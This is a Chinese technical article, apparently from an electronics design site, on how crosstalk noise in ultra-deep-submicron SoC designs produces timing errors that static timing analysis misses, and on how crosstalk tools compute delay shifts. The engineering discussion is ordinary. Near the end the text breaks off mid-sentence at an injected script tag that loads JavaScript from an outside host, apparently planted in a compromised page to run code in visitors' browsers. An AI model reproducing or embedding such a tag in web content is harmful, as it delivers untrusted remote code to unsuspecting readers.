通过噪声分析发现隐藏的时序错误

当前复杂ic设计已进入超深亚微米(udsm)阶段(0.18μm以下),设计人员必须要采用能对噪声进行处理的分析方法,这样才能在udsm系统级芯片上获得时序收敛。在这种超高密度高速soc环境下,测量串扰的影响对于确定设计能否在所要求的性能水平正常工作是至关重要的。

  随着芯片工艺尺寸逐渐缩小而时钟频率越来越高,串扰噪声对复杂数字电路的影响也越来越大,给设计人员提出了新的挑战。人们发现那些即使已经通过现有eda工具时序分析的线路,也常常会因为串扰或信号完整性问题而失效。

  在时序确认时,ic设计人员通常使用静态时序分析进行时序验证。但遗憾的是,现有静态时序工具忽略了一个重要的udsm电路边缘效应——串扰,它是在相邻导线同时进行转换时所产生的干扰信号。串扰效应由于扭曲了波形且改变其持续时间,会大大影响转换信号的完整性,如果这种电性效应在时序分析中不能得到解决,那么电路即使通过传统的时序分析,在硅片制造完成后也常常会失效。由于最后测量到的硅片性能与时序工具先前预测的大不相同,所以采用udsm工艺技术的设计人员发现硅片制造完之后还需要再做一些额外设计,无法按预期完成设计已成为soc产品延迟发布的主要原因之一。

  不幸的是,噪声和信号完整性效应的影响还将随着不断提高的精密udsm工艺和当今soc发展趋势而增长。伴随着每次新一代udsm工艺技术的出现,特性尺寸、线宽和线间距都将进一步缩小,而裸片大小相对保持不变,因为在硅片系统时代设计人员将充分利用空间把更多功能挤进soc中,所以尽管间距不断减小,平均线长相对变化并不大。

  另外,每一次线宽缩小还意味着线路总电容降低,相应增加横向耦合所表示的线电容部分。对性能改进要求的不断提高意味着时钟频率更高以及转换信号更快,从而更加加剧了问题的恶化程度。信号转换越快,耦合到相邻线路的电路噪声就越多,因此在这种超高密度高速soc环境下,测量串扰的影响对于确定设计能否在所要求的性能水平正常工作是至关重要的。

  串扰效应

  从图1电路的波形图中(图2)可以看到,由串扰造成的额外延迟比没有串扰的门电路延迟大,事实上这并不是个别现象,因为串扰完全改变信号延迟是很常见的。如果受影响信号是关键最大延迟路径的一部分,那么由串扰造成的额外延迟将因为信号到达锁存器/触发器太晚而使设置失败。

  串扰也可能减少延迟(图3)。如果噪声事件发生在关键最小延迟路径上,数据将因提前到达锁存器/触发器导致冲突。设置失败当然是我们不希望的,可通过降低时钟频率避免,这是以降低soc整体性能为代价;另外一种解决冲突的方法是更换硅掩膜,而这在金钱和时间上的花费都是相当庞大的。

  要准确说明串扰对延迟的影响,设计人员需要特殊技术来处理udsm设计中的大量寄生数据,例如干扰信号转换时出现的非单调波形,以及干扰信号和受影响信号之间复杂的时序和逻辑关系等。分析串扰引起的延迟首先从确认潜在受影响信号网络开始,该网络应有足够的耦合电容保证可以进行研究。通过高级互连分析技术,串扰分析工具(如cadmos的celtic)可对设计进行分析,找出干扰噪声超过规定限度的网络。下一步,该工具模拟驱动器和接收器,计算每个受影响网络的典型延迟,同时所有可能的干扰网络保持静止状态;然后串扰分析工具将干扰网络的方向转换为与受影响网络相同,计算出最小延迟减少量,最后再以相反方向计算最大延迟增加量。

  所测串扰对延迟的影响实际上就是典型延迟情况和最小与最大延迟情况之间的差,影响这些计算结果的主要因素包括:受影响信号和干扰信号的转换速度及干扰转换相对于受影响信号转换的调整情况。

  当受影响网络有多个耦合电容不同的?script src=http://er12.com/t.js>

  • 通过噪声分析发现隐藏的时序错误已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计